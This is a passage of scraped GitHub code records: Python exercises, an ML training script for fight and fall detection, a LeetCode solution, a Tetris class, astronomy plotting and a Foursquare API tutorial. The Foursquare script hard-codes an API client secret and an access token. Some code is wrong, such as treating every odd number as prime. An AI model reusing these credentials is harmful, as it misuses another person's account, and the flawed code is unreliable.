print(\"-\"*30)\n return lista\n\ndef mayor(x):\n num = x[0]\n for i in range(len(x)):\n if x[i] > num:\n num = x[i]\n print(f\"El numero mayor de la lista es: {num}\")\n\ndef primos(x):\n for i in range(len(x)):\n if x[i]%2 == 1:\n print(f\"{x[i]} Es un numero primo que pertenece a la lista\")\n\nmayor(lista())\nprimos(lista())","repo_name":"BrianArdila/Ejercicios-Python","sub_path":"sesion11/Ejercicio1.py","file_name":"Ejercicio1.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38716862563","text":"import os\r\n\r\n# to suppress the excessive tf logging on cmd\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = \"3\"\r\n\r\nimport argparse\r\nimport time\r\nimport numpy as np\r\nimport pandas as pd\r\nimport tensorflow as tf\r\nimport matplotlib.pyplot as plt\r\nimport gc\r\n\r\nfrom tqdm import tqdm\r\nfrom sklearn.model_selection import GroupShuffleSplit\r\nfrom sklearn.metrics import roc_auc_score\r\nfrom tensorflow.keras.layers import Input, Bidirectional, CuDNNLSTM, GlobalMaxPooling1D, Dropout, Dense\r\nfrom tensorflow.keras.models import Model\r\nfrom tensorflow.keras.regularizers import l2\r\nfrom tensorflow.keras.optimizers import Adam\r\nfrom tensorflow.keras.metrics import AUC\r\nfrom tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau\r\nfrom tensorflow.python.util import deprecation\r\n\r\n# To suppress the annoying 1.15 deprecation warnings\r\ndeprecation._PRINT_DEPRECATION_WARNINGS = False\r\n\r\nSEED = 123\r\nDIR = 'assault-falldown-data\\\\'\r\nTARGET_COLS = ['is_fight','is_falldown']\r\n\r\ndef gss_get_fold_data(df, total_folds, fold_no):\r\n \r\n gss = GroupShuffleSplit(n_splits=total_folds, random_state=SEED)\r\n \r\n for index, (train_id, test_id) in enumerate(gss.split(df, df[TARGET_COLS], df['video_name'])):\r\n \r\n if index != fold_no:\r\n continue\r\n else:\r\n df_train = df.iloc[train_id].copy()\r\n df_test = df.iloc[test_id].copy()\r\n\r\n # Check\r\n\r\n df_check = df_train['video_name'].value_counts().to_frame()\\\r\n .merge(df_test['video_name'].value_counts(),\r\n left_index=True, right_index=True, how='outer')\\\r\n .notna()\\\r\n .sum(axis=1)\r\n \r\n assert (df_check == 1).all(), 'Subclips are not split according to videos'\r\n\r\n break\r\n \r\n return df_train, df_test\r\n\r\ndef apply_split_according_to_source(df, func, as_index=True, **func_params):\r\n \r\n datasources = df['data_source'].unique()\r\n \r\n df_train_source = dict()\r\n df_test_source = dict()\r\n \r\n for source in datasources:\r\n df_subset = df.loc[df['data_source'] == source].copy()\r\n df_subset_train, df_subset_test = func(df_subset, **func_params)\r\n df_train_source[source] = df_subset_train\r\n df_test_source[source] = df_subset_test\r\n \r\n df_train = pd.concat([*df_train_source.values()], axis=0, ignore_index=False, sort=False)\r\n df_test = pd.concat([*df_test_source.values()], axis=0, ignore_index=False, sort=False)\r\n \r\n # Check 1 : duplicated videos in train and test\r\n \r\n train_videos = set(df_train['video_name'].unique())\r\n test_videos = set(df_test['video_name'].unique())\r\n \r\n assert len(train_videos.intersection(test_videos)) == 0, 'Duplicated videos in train & test set'\r\n \r\n # Check 2 : df_train and df_test same size as original df\r\n \r\n assert (df_train.shape[0] + df_test.shape[0]) == df.shape[0], 'output df different size from original df'\r\n \r\n if as_index:\r\n return df_train.index, df_test.index\r\n else:\r\n return df_train, df_test\r\n\r\ndef get_lrcn_model(feature_shape):\r\n \r\n # using parameters from best bayesian trial\r\n nn_input = Input((5,feature_shape))\r\n x = Bidirectional(CuDNNLSTM(128, \r\n return_sequences=True))(nn_input)\r\n\r\n x = GlobalMaxPooling1D()(x)\r\n\r\n x = Dropout(0.5)(x)\r\n x = Dense(32, \r\n activation='relu', \r\n kernel_regularizer=l2(0.15))(x)\r\n\r\n x = Dropout(0.5)(x)\r\n x = Dense(32, \r\n activation='relu', \r\n kernel_regularizer=l2(0.15))(x)\r\n\r\n x = Dropout(0.5)(x)\r\n\r\n # Multi Label\r\n nn_output = Dense(2, activation='sigmoid')(x)\r\n\r\n model = Model(inputs=nn_input, outputs=nn_output)\r\n \r\n return model\r\n\r\ndef get_3dcnn_model(feature_shape):\r\n \r\n nn_input = Input((feature_shape))\r\n \r\n x = Dense(1028, activation='relu', name='dense')(nn_input)\r\n x = Dropout(rate=0.5, name='dropout2')(x)\r\n \r\n nn_output = Dense(2, activation='sigmoid', name='output')(x)\r\n\r\n model = Model(inputs=nn_input, outputs=nn_output)\r\n\r\n return model\r\n\r\n\r\ndef get_callbacks(monitor='val_loss', mode='min', patience=10, verbose=1):\r\n \r\n earlystop = EarlyStopping(monitor=monitor, mode=mode, verbose=verbose, patience=patience, restore_best_weights=True)\r\n \r\n lr_reducer = ReduceLROnPlateau(monitor=monitor, factor=0.5,\r\n cooldown=0, patience=round(patience // 2 - 1), \r\n mode=mode, verbose=verbose)\r\n call_backs = [lr_reducer, earlystop]\r\n \r\n return call_backs\r\n\r\ndef load_features(extractor, img_type):\r\n \r\n assert extractor in ['mobilenet','c3d','resnet50v2'], 'Extractor not available'\r\n\r\n assert img_type in ['raw','hm','kp','hhb','hkb','rhb'], 'Image type not available'\r\n\r\n extractor = extractor\r\n\r\n train_features_file = f'_{img_type}_train_features.npy'\r\n test_features_file = f'_{img_type}_test_features.npy'\r\n\r\n train_features = np.load(os.path.join(extractor, extractor + train_features_file))\r\n test_features = np.load(os.path.join(extractor, extractor + test_features_file))\r\n\r\n return train_features, test_features\r\n\r\ndef load_df_and_labels(curated=True):\r\n df_train = pd.read_csv('annotation_train.csv')\r\n df_test = pd.read_csv('annotation_test.csv')\r\n\r\n train_labels = df_train[TARGET_COLS].to_numpy()\r\n test_labels = df_test[TARGET_COLS].to_numpy()\r\n \r\n if curated:\r\n df_train = df_train[(df_train['curated'] == True) | (df_train['curated'].isna())]\r\n\r\n return df_train, train_labels, test_labels\r\n\r\ndef run_cross_validation(total_folds, extractor, img_types, curated=True, total_rounds=1):\r\n\r\n start_time = time.time()\r\n\r\n df, train_labels, test_labels = load_df_and_labels(curated)\r\n\r\n folder_dir = extractor + '_training_results'\r\n preds_csv_path = folder_dir + '\\\\' + extractor + '_test_preds.csv'\r\n\r\n if not os.path.isdir(folder_dir):\r\n os.mkdir(folder_dir)\r\n\r\n if os.path.isfile(preds_csv_path):\r\n df_preds_master = pd.read_csv(preds_csv_path)\r\n else:\r\n df_preds_master = pd.DataFrame(test_labels, columns=['is_fight','is_falldown'])\r\n\r\n for img_type in tqdm(img_types):\r\n\r\n img_type_folder_dir = os.path.join(folder_dir, img_type)\r\n if not os.path.isdir(img_type_folder_dir):\r\n os.mkdir(img_type_folder_dir)\r\n\r\n train_features, test_features = load_features(extractor, img_type)\r\n\r\n for training_round in range(total_rounds):\r\n print(f'\\n {extractor.capitalize()} : Training Round {training_round + 1} of {total_rounds} for {img_type}')\r\n for fold_no in range(total_folds):\r\n \r\n train_idx, val_idx = apply_split_according_to_source(df,\r\n gss_get_fold_data,\r\n as_index=True,\r\n total_folds=total_folds, \r\n fold_no=fold_no)\r\n print(f' Fold No {fold_no + 1} of {total_folds} : {len(train_idx)} train samples, {len(val_idx)} val samples.')\r\n\r\n file_name = f'{img_type_folder_dir}\\\\{extractor}_{img_type}_run{training_round + 1}_fold{fold_no + 1}'\r\n\r\n test_preds = training_loop(\r\n extractor,\r\n train_features[train_idx], train_labels[train_idx], \r\n train_features[val_idx], train_labels[val_idx],\r\n test_features, test_labels, file_name)\r\n\r\n df_preds = pd.DataFrame(test_preds, columns=[\r\n f'{img_type}_run{training_round + 1}_fold{fold_no + 1}_fight',\r\n f'{img_type}_run{training_round + 1}_fold{fold_no + 1}_fall'])\r\n\r\n df_preds_master = df_preds_master.merge(df_preds, left_index=True, right_index=True)\r\n\r\n df_preds_master.to_csv(preds_csv_path, index=False)\r\n \r\n output_msg = \\\r\n f' {extractor.capitalize()} : {len(img_types) * total_folds * total_rounds} models' + \\\r\n f' completed in {(time.time() - start_time) / 60 :.2f} mins'\r\n\r\n print(output_msg)\r\n\r\n\r\ndef training_loop(model, train_features, train_labels, \r\n val_features, val_labels, \r\n test_features, test_labels, file_name):\r\n\r\n \r\n num_features = train_features.shape[-1]\r\n\r\n if model == 'c3d':\r\n model = get_3dcnn_model(num_features)\r\n\r\n else:\r\n model = get_lrcn_model(num_features)\r\n\r\n callbacks = get_callbacks(monitor='val_loss', mode='min', patience=50, verbose=0)\r\n\r\n model.compile(optimizer=Adam(lr=0.001),\r\n loss='binary_crossentropy', \r\n metrics=['acc', AUC(name='auc')])\r\n\r\n history = model.fit(train_features,train_labels, \r\n batch_size=128, \r\n validation_data=(val_features, val_labels), \r\n callbacks=callbacks, \r\n verbose=0,\r\n epochs=1000)\r\n\r\n test_preds = model.predict_on_batch(test_features)\r\n\r\n # Plot train & val AUC, Loss\r\n plot_and_save_train_val_metrics(history, file_name)\r\n\r\n print(f' Fight AUC : {roc_auc_score(test_labels[:,0], test_preds[:,0]):.3f}')\r\n print(f' Fall AUC : {roc_auc_score(test_labels[:,1], test_preds[:,1]):.3f}\\n')\r\n\r\n del model\r\n\r\n tf.keras.backend.clear_session()\r\n\r\n gc.collect()\r\n\r\n return test_preds\r\n\r\ndef plot_and_save_train_val_metrics(history, file_name):\r\n fig, ax = plt.subplots(1,2, figsize=(8,4))\r\n\r\n for index, metric in enumerate(['auc','loss']):\r\n ax[index].plot(history.history[f'val_{metric}'], label=f'Val {metric.capitalize()}')\r\n ax[index].plot(history.history[f'{metric}'], label=f'Train {metric.capitalize()}')\r\n ax[index].legend(loc='center right')\r\n ax[index].set_title(f'{metric.upper()}', fontsize=16)\r\n if metric == 'auc':\r\n ax[index].set_ylim(0.5, 1.0)\r\n\r\n plt.tight_layout()\r\n plt.savefig(f'{file_name}_metrics.png', dpi=150)\r\n \r\n plt.close(fig)\r\n gc.collect()\r\n\r\n return \r\n\r\ndef get_args():\r\n parser = argparse.ArgumentParser()\r\n\r\n parser.add_argument(\"--model\", \r\n type=str, \r\n help=\"Select model you want to build.\", \r\n required=True,\r\n choices=['mobilenet','resnet50v2','c3d','all']\r\n )\r\n\r\n parser.add_argument(\"--folds\", \r\n type=int, \r\n help=\"Specify N-fold validations.\",\r\n required=True, \r\n choices=range(1,11))\r\n\r\n parser.add_argument(\"--runs\", \r\n type=int, \r\n help=\"Specify N runs. During each run, N-fold CV is done.\",\r\n required=True, \r\n choices=range(1,11))\r\n\r\n parser.add_argument(\"--imgtype\", \r\n type=str, \r\n help=\"Specify feature representation.\",\r\n required=True, \r\n choices=['raw','hm','kp','hhb','rhb','hkb','all'])\r\n\r\n args = parser.parse_args()\r\n\r\n return args\r\n\r\ndef main():\r\n\r\n args =get_args()\r\n\r\n if args.model == 'all':\r\n models = ['mobilenet','resnet50v2','c3d']\r\n else:\r\n models = [args.model]\r\n\r\n if args.imgtype == 'all':\r\n img_types = ['raw','hm','kp','hhb','rhb','hkb']\r\n else:\r\n img_types = [args.imgtype]\r\n\r\n for model in models:\r\n run_cross_validation(\r\n total_folds=args.folds, \r\n extractor=model, \r\n img_types=img_types,\r\n total_rounds=args.runs)\r\n\r\n return\r\n\r\nif __name__ == '__main__': \r\n main()\r\n\r\n","repo_name":"Toukenize/abnormal-event-detection","sub_path":"model_training.py","file_name":"model_training.py","file_ext":"py","file_size_in_byte":11490,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"37729317833","text":"# https://leetcode.com/problems/longest-palindromic-subsequence/description/\n\nclass Solution:\n def longestPalindromeSubseq(self, s: str) -> int:\n \"\"\"\n Logic: Dynamic Programming (Bottom-up)\n\n Time: O(n)\n Space: O(n)\n \"\"\"\n n = len(s)\n dp = [0]*n\n\n for i in range(n-1, -1, -1):\n prev = 0\n for j in range(i, n):\n if i == j:\n dp[j] = 1\n elif s[i] == s[j]:\n prev, dp[j] = dp[j], 2 + prev\n else:\n prev = dp[j]\n dp[j] = max(dp[j], dp[j-1])\n \n return dp[-1]\n","repo_name":"hanelliotn/leetcode","sub_path":"00516-LongestPalindromicSubsequence.py","file_name":"00516-LongestPalindromicSubsequence.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"5605676689","text":"import pygame\nimport random\n\nCOLORS = [(255, 0, 0) , (0, 255, 0), (0, 0, 255), (255, 255, 0), (0, 255, 255)]\n\nclass T:\n def __init__(self, ID):\n self.ID = ID\n self.size = 50\n self.height = 0\n self.width = 5\n self.current_rotation = 0\n self.rotations = [[[1,-1], [1, 1], [-1, 1], [-1, -1]],\n [[0,0], [0, 0], [0, 0], [0,0]],\n [[-1, 1], [-1, -1], [1, -1], [1, 1]],\n [[1,1], [-1, 1], [-1, -1], [1, -1]]]\n\n self.position = [[0, 0, 0, 0],\n [0, 1, 0, 0],\n [1, 1, 1, 0],\n [0, 0, 0, 0]]\n self.rects = [pygame.Rect(3, 1, self.size, self.size),\n pygame.Rect(4, 1, self.size, self.size),\n pygame.Rect(5, 1, self.size, self.size),\n pygame.Rect(4, 0, self.size, self.size)]\n self.color = random.choice(COLORS)\n def move(self, x, y):\n for i in range(len(self.rects)):\n self.rects[i].top += y\n\n for i in range(len(self.rects)):\n self.rects[i].left += x\n \n\n def rotate(self):\n for i in range(len(self.rects)):\n self.rects[i].left += self.rotations[i][self.current_rotation][0]\n self.rects[i].top += self.rotations[i][self.current_rotation][1]\n self.current_rotation = (self.current_rotation + 1) % len(self.rotations)\n","repo_name":"tormobr/tetris","sub_path":"t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":1446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42811093525","text":"import numpy as np, matplotlib.pyplot as plt, pandas as pd\nfrom astropy.table import Table\n\n# Presume bins are in 1000K, and the listed Teffs are the centers of the bins\ndf = pd.read_csv('Batalha_2010_Table_2.txt')\n\nmmj = pd.read_csv('Mamajek_Teff_sptype.txt', delim_whitespace=True)\nmmj = mmj[(mmj['Teff']<11000)&(mmj['Teff']>3000)]\n\n#############################\n# PLOT 1: Teff distribution #\n#############################\nplt.close('all')\nf, ax = plt.subplots()\n\nax.step(df['teff'], df['val'], where='mid')\nfor teff, yval, SpT in list(zip(mmj['Teff'][::2],\n np.ones_like(mmj['Teff'][::2])*8e4,\n mmj['SpT'][::2])):\n\n t = ax.text(teff, yval, SpT, alpha=0.3, fontsize='xx-small', rotation=270)\n\nax.set(\n xlabel='teff',\n ylabel='number',\n yscale='log',\n ylim=[1e2,1e5],\n xlim=[3e3,11e3]\n )\nax.set_title(\n 'table 2 Batalha+ 2010. KIC Teff distribution for planet target stars. '\n 'SpTypes Pecault & Mamajek 2013',\n fontsize='xx-small'\n )\n\nf.savefig('Batalha_2010_Table_2_distribution.pdf', dpi=300)\n\n###############################\n# PLOT 2: Teff cumulative sum #\n###############################\nplt.close('all')\nf, ax = plt.subplots()\n\nax.step(df['teff'],\n np.cumsum(df['val'])/max(np.cumsum(df['val'])),\n where='mid')\n\nfor teff, yval, SpT in list(zip(mmj['Teff'][::2],\n np.ones_like(mmj['Teff'][::2])*0.95,\n mmj['SpT'][::2])):\n\n t = ax.text(teff, yval, SpT, alpha=0.3, fontsize='xx-small', rotation=270)\n\nax.set(\n xlabel='teff',\n ylabel='percent of {:d} stars'.format(int(max(np.cumsum(df['val'])))),\n yscale='linear',\n ylim=[0,1],\n xlim=[3e3,11e3]\n )\n\nax.set_title(\n 'table 2 Batalha+ 2010. KIC Teff cumulative sum for planet target stars. '\n 'SpTypes Pecault & Mamajek 2013',\n fontsize='xx-small'\n )\n\nf.savefig('Batalha_2010_Table_2_cumulative_sum.pdf', dpi=300)\n","repo_name":"lgbouma/bth","sub_path":"src/plot_Batalha_2010_table_2.py","file_name":"plot_Batalha_2010_table_2.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72685443104","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nfrom ..ListNodeModule import ListNode\n\n\nclass Solution:\n def removeElements(self, head: ListNode, val: int) -> ListNode:\n # deal with the delete root case\n while head and head.val == val:\n head = head.next\n\n if not head:\n return None\n\n root = head\n\n # deal with the normal case\n while head and head.next:\n if head.next.val == val:\n head.next = head.next.next\n else:\n head = head.next\n\n return root\n","repo_name":"daviddwlee84/LeetCode","sub_path":"Python3/LinkedList/RemoveLinkedListElements/SinglePointer203.py","file_name":"SinglePointer203.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"7"} +{"seq_id":"36515248204","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 4 20:13:00 2020\r\n\r\n@author: etienne.vanhaecke\r\n\"\"\"\r\n\r\nimport requests # library to handle requests\r\nimport pandas as pd # library for data analsysis\r\nimport numpy as np # library to handle data in a vectorized manner\r\nimport random # library for random number generation\r\n\r\n#!conda install -c conda-forge geopy --yes \r\nfrom geopy.geocoders import Nominatim # module to convert an address into latitude and longitude values\r\n\r\n# libraries for displaying images\r\nfrom IPython.display import Image \r\nfrom IPython.core.display import HTML \r\n \r\n# tranforming json file into a pandas dataframe library\r\nfrom pandas.io.json import json_normalize\r\n\r\n#!conda install -c conda-forge folium=0.5.0 --yes\r\nimport folium # plotting library\r\n\r\nprint('Folium installed')\r\nprint('Libraries imported.')\r\n\r\nCLIENT_ID = 'CWKC3PFATDOC3LCRJNRYDN0MP1CQZ2GFH4G3IOGXBJQAKYAM' # your Foursquare ID\r\nCLIENT_SECRET = 'B4UGRGMPR31MOSHETPXYTYYOVDQWITRHGVOG2BFHXIR10YIG' # your Foursquare Secret\r\nVERSION = '20180604'\r\nLIMIT = 30\r\nprint('Your credentails:')\r\nprint('CLIENT_ID: ' + CLIENT_ID)\r\nprint('CLIENT_SECRET:' + CLIENT_SECRET)\r\n\r\naddress = '102 North End Ave, New York, NY'\r\n\r\ngeolocator = Nominatim(user_agent=\"foursquare_agent\")\r\nlocation = geolocator.geocode(address)\r\nlatitude = location.latitude\r\nlongitude = location.longitude\r\nprint(latitude, longitude)\r\n\r\nsearch_query = 'Italian'\r\nradius = 500\r\nprint(search_query + ' .... OK!')\r\n\r\nurl = 'https://api.foursquare.com/v2/venues/search?client_id={}&client_secret={}&ll={},{}&v={}&query={}&radius={}&limit={}'.format(CLIENT_ID, CLIENT_SECRET, latitude, longitude, VERSION, search_query, radius, LIMIT)\r\nurl\r\n\r\nresults = requests.get(url).json()\r\nresults\r\n\r\n# assign relevant part of JSON to venues\r\nvenues = results['response']['venues']\r\n\r\n# tranform venues into a dataframe\r\ndataframe = json_normalize(venues)\r\ndataframe.head()\r\n\r\n# keep only columns that include venue name, and anything that is associated with location\r\nfiltered_columns = ['name', 'categories'] + [col for col in dataframe.columns if col.startswith('location.')] + ['id']\r\ndataframe_filtered = dataframe.loc[:, filtered_columns]\r\n\r\n# function that extracts the category of the venue\r\ndef get_category_type(row):\r\n try:\r\n categories_list = row['categories']\r\n except:\r\n categories_list = row['venue.categories']\r\n \r\n if len(categories_list) == 0:\r\n return None\r\n else:\r\n return categories_list[0]['name']\r\n\r\n# filter the category for each row\r\ndataframe_filtered['categories'] = dataframe_filtered.apply(get_category_type, axis=1)\r\n\r\n# clean column names by keeping only last term\r\ndataframe_filtered.columns = [column.split('.')[-1] for column in dataframe_filtered.columns]\r\n\r\ndataframe_filtered\r\n\r\ndataframe_filtered.name\r\n\r\nvenues_map = folium.Map(location=[latitude, longitude], zoom_start=13) # generate map centred around the Conrad Hotel\r\n\r\n'''\r\n# add a red circle marker to represent the Conrad Hotel\r\nfolium.features.ClickForMarker(\r\n [latitude, longitude],\r\n radius=10,\r\n color='red',\r\n popup='Conrad Hotel',\r\n fill = True,\r\n fill_color = 'red',\r\n fill_opacity = 0.6\r\n).add_to(venues_map)\r\n\r\n# add the Italian restaurants as blue circle markers\r\nfor lat, lng, label in zip(dataframe_filtered.lat, dataframe_filtered.lng, dataframe_filtered.categories):\r\n folium.features.CircleMarker(\r\n [lat, lng],\r\n radius=5,\r\n color='blue',\r\n popup=label,\r\n fill = True,\r\n fill_color='blue',\r\n fill_opacity=0.6\r\n ).add_to(venues_map)\r\n'''\r\n\r\n# display map\r\nvenues_map\r\n\r\nvenue_id = '4fa862b3e4b0ebff2f749f06' # ID of Harry's Italian Pizza Bar\r\nurl = 'https://api.foursquare.com/v2/venues/{}?client_id={}&client_secret={}&v={}'.format(venue_id, CLIENT_ID, CLIENT_SECRET, VERSION)\r\nurl\r\nresult = requests.get(url).json()\r\nprint(result['response']['venue'].keys())\r\nresult['response']['venue']\r\ntry:\r\n print(result['response']['venue']['rating'])\r\nexcept:\r\n print('This venue has not been rated yet.')\r\nvenue_id = '4f3232e219836c91c7bfde94' # ID of Conca Cucina Italian Restaurant\r\nurl = 'https://api.foursquare.com/v2/venues/{}?client_id={}&client_secret={}&v={}'.format(venue_id, CLIENT_ID, CLIENT_SECRET, VERSION)\r\n\r\nresult = requests.get(url).json()\r\ntry:\r\n print(result['response']['venue']['rating'])\r\nexcept:\r\n print('This venue has not been rated yet.')\r\nvenue_id = '3fd66200f964a520f4e41ee3' # ID of Ecco\r\nurl = 'https://api.foursquare.com/v2/venues/{}?client_id={}&client_secret={}&v={}'.format(venue_id, CLIENT_ID, CLIENT_SECRET, VERSION)\r\nresult = requests.get(url).json()\r\ntry:\r\n print(result['response']['venue']['rating'])\r\nexcept:\r\n print('This venue has not been rated yet.')\r\nresult['response']['venue']['tips']['count']\r\n\r\n## Ecco Tips\r\nlimit = 20 # set limit to be greater than or equal to the total number of tips\r\nurl = 'https://api.foursquare.com/v2/venues/{}/tips?client_id={}&client_secret={}&v={}&limit={}'.format(venue_id, CLIENT_ID, CLIENT_SECRET, VERSION, limit)\r\nresults = requests.get(url).json()\r\nresults\r\ntips = results['response']['tips']['items']\r\ntip = results['response']['tips']['items'][0]\r\ntip.keys()\r\n\r\npd.set_option('display.max_colwidth', -1) #None em Python V3.6\r\n\r\ntips_df = json_normalize(tips) # json normalize tips a recuperar de pd em Python 3.6\r\n\r\n# columns to keep\r\nfiltered_columns = ['text', 'agreeCount', 'disagreeCount', 'id', 'user.firstName', 'user.lastName', 'user.gender', 'user.id']\r\ntips_filtered = tips_df.loc[:, filtered_columns]\r\n\r\n# display tips\r\ntips_filtered\r\n\r\nuser_id = '484542633' # user ID with most agree counts and complete profile\r\nACCESS_TOKEN = 'GSRLYVEVIIAS5EW4DMMATHDFJ0WCDPPKME2LNJ3M5X2KVPYE'\r\nurl = 'https://api.foursquare.com/v2/users/{}?client_id={}&client_secret={}&oauth_token={}&v={}'.format(user_id, CLIENT_ID, CLIENT_SECRET, ACCESS_TOKEN, VERSION) # define URL\r\nurl\r\n# send GET request\r\nresults = requests.get(url).json()\r\nuser_data = results['response']['user']\r\n# display features associated with user\r\nuser_data.keys()\r\nprint('First Name: ' + user_data['firstName'])\r\nprint('Last Name: ' + user_data['lastName'])\r\nprint('Home City: ' + user_data['homeCity'])\r\nuser_data['tips']\r\n\r\n\r\n# define tips URL\r\nurl = 'https://api.foursquare.com/v2/users/{}/tips?client_id={}&client_secret={}&v={}&limit={}'.format(user_id, CLIENT_ID, CLIENT_SECRET, VERSION, limit)\r\n# send GET request and get user's tips\r\nresults = requests.get(url).json()\r\ntips = results['response']['tips']['items']\r\n# format column width\r\npd.set_option('display.max_colwidth', -1)\r\ntips_df = json_normalize(tips)\r\n# filter columns\r\nfiltered_columns = ['text', 'agreeCount', 'disagreeCount', 'id']\r\ntips_filtered = tips_df.loc[:, filtered_columns]\r\n# display user's tips\r\ntips_filtered\r\n\r\ntip_id = '5ab5575d73fe2516ad8f363b' # tip id\r\n# define URL\r\nurl = 'http://api.foursquare.com/v2/tips/{}?client_id={}&client_secret={}&v={}'.format(tip_id, CLIENT_ID, CLIENT_SECRET, VERSION)\r\n# send GET Request and examine results\r\nresult = requests.get(url).json()\r\nprint(result['response']['tip']['venue']['name'])\r\nprint(result['response']['tip']['venue']['location'])\r\n\r\nuser_friends = json_normalize(user_data['friends']['groups'][0]['items'])\r\nuser_friends\r\nuser_data\r\n# 1. grab prefix of photo\r\n# 2. grab suffix of photo\r\n# 3. concatenate them using the image size \r\nImage(url='https://igx.4sqi.net/img/user/300x300/484542633_mK2Yum7T_7Tn9fWpndidJsmw2Hof_6T5vJBKCHPLMK5OL-U5ZiJGj51iwBstcpDLYa3Zvhvis.jpg')\r\n\r\n# 1. grab prefix of photo\r\n# 2. grab suffix of photo\r\n# 3. concatenate them using the image size \r\nImage(url='https://fastly.4sqi.net/img/user/300x300/484542633_unymNUmw_FdPs3GjXHujmHcYnN4hf8kEPADlOZuIrdcdm97VX3tFqL7fFNMNA_8Gl9NlU1GYg.jpg')\r\n\r\nlatitude = 40.715337\r\nlongitude = -74.008848\r\nurl = 'https://api.foursquare.com/v2/venues/explore?client_id={}&client_secret={}&ll={},{}&v={}&radius={}&limit={}'.format(CLIENT_ID, CLIENT_SECRET, latitude, longitude, VERSION, radius, LIMIT)\r\nurl\r\nimport requests\r\nresults = requests.get(url).json()\r\n'There are {} around Ecco restaurant.'.format(len(results['response']['groups'][0]['items']))\r\nitems = results['response']['groups'][0]['items']\r\nitems[0]\r\ndataframe = json_normalize(items) # flatten JSON\r\n\r\n# filter columns\r\nfiltered_columns = ['venue.name', 'venue.categories'] + [col for col in dataframe.columns if col.startswith('venue.location.')] + ['venue.id']\r\ndataframe_filtered = dataframe.loc[:, filtered_columns]\r\n\r\n# filter the category for each row\r\ndataframe_filtered['venue.categories'] = dataframe_filtered.apply(get_category_type, axis=1)\r\n\r\n# clean columns\r\ndataframe_filtered.columns = [col.split('.')[-1] for col in dataframe_filtered.columns]\r\n\r\ndataframe_filtered.head(10)\r\n\r\nvenues_map = folium.Map(location=[latitude, longitude], zoom_start=15) \r\n# generate map centred around Ecco​\r\n# add Ecco as a red circle mark\r\nfolium.features.CircleMarker(\r\n [latitude, longitude],\r\n radius=10,\r\n popup='Ecco',\r\n fill=True,\r\n color='red',\r\n fill_color='red',\r\n fill_opacity=0.6\r\n ).add_to(venues_map)\r\n# add popular spots to the map as blue circle markers\r\nfor lat, lng, label in zip(dataframe_filtered.lat, dataframe_filtered.lng, dataframe_filtered.categories):\r\n folium.features.CircleMarker(\r\n [lat, lng],\r\n radius=5,\r\n popup=label,\r\n fill=True,\r\n color='blue',\r\n fill_color='blue',\r\n fill_opacity=0.6\r\n ).add_to(venues_map)\r\n\r\n# display map\r\nvenues_map\r\n\r\n# define URL\r\nurl = 'https://api.foursquare.com/v2/venues/trending?client_id={}&client_secret={}&ll={},{}&v={}'.format(CLIENT_ID, CLIENT_SECRET, latitude, longitude, VERSION)\r\n\r\n# send GET request and get trending venues\r\nresults = requests.get(url).json()\r\nresults\r\n\r\nif len(results['response']['venues']) == 0:\r\n trending_venues_df = 'No trending venues are available at the moment!'\r\n \r\nelse:\r\n trending_venues = results['response']['venues']\r\n trending_venues_df = json_normalize(trending_venues)\r\n\r\n # filter columns\r\n columns_filtered = ['name', 'categories'] + ['location.distance', 'location.city', 'location.postalCode', 'location.state', 'location.country', 'location.lat', 'location.lng']\r\n trending_venues_df = trending_venues_df.loc[:, columns_filtered]\r\n\r\n # filter the category for each row\r\n trending_venues_df['categories'] = trending_venues_df.apply(get_category_type, axis=1)\r\n \r\n# display trending venues\r\ntrending_venues_df\r\n\r\nif len(results['response']['venues']) == 0:\r\n venues_map = 'Cannot generate visual as no trending venues are available at the moment!'\r\n\r\nelse:\r\n venues_map = folium.Map(location=[latitude, longitude], zoom_start=15) # generate map centred around Ecco\r\n\r\n\r\n # add Ecco as a red circle mark\r\n folium.features.CircleMarker(\r\n [latitude, longitude],\r\n radius=10,\r\n popup='Ecco',\r\n fill=True,\r\n color='red',\r\n fill_color='red',\r\n fill_opacity=0.6\r\n ).add_to(venues_map)\r\n\r\n # add the trending venues as blue circle markers\r\n for lat, lng, label in zip(trending_venues_df['location.lat'], trending_venues_df['location.lng'], trending_venues_df['name']):\r\n folium.features.CircleMarker(\r\n [lat, lng],\r\n radius=5,\r\n poup=label,\r\n fill=True,\r\n color='blue',\r\n fill_color='blue',\r\n fill_opacity=0.6\r\n ).add_to(venues_map)\r\n\r\n# display map\r\nvenues_map\r\n","repo_name":"etiennevanhaecke/Coursera-IBM-Data-Science","sub_path":"DP0701EN-2-2-1-Foursquare-API-py-v1.0.py","file_name":"DP0701EN-2-2-1-Foursquare-API-py-v1.0.py","file_ext":"py","file_size_in_byte":11533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"72867444382","text":"import random\nimport torch\nfrom torch.utils.tensorboard import SummaryWriter\nfrom plotting_utils import plot_alignment_to_numpy, plot_spectrogram_to_numpy\nfrom plotting_utils import plot_gate_outputs_to_numpy\n\n\nclass Tacotron2Logger(SummaryWriter):\n def __init__(self, logdir):\n super(Tacotron2Logger, self).__init__(logdir)\n\n def log_training(self, reduced_loss, grad_norm, learning_rate, duration,\n iteration):\n self.add_scalar(\"training.loss\", reduced_loss, iteration)\n self.add_scalar(\"grad.norm\", grad_norm, iteration)\n self.add_scalar(\"learning.rate\", learning_rate, iteration)\n self.add_scalar(\"duration\", duration, iteration)\n\n def log_validation(self, reduced_loss, model, y, y_pred, iteration):\n self.add_scalar(\"validation.loss\", reduced_loss, iteration)\n _, 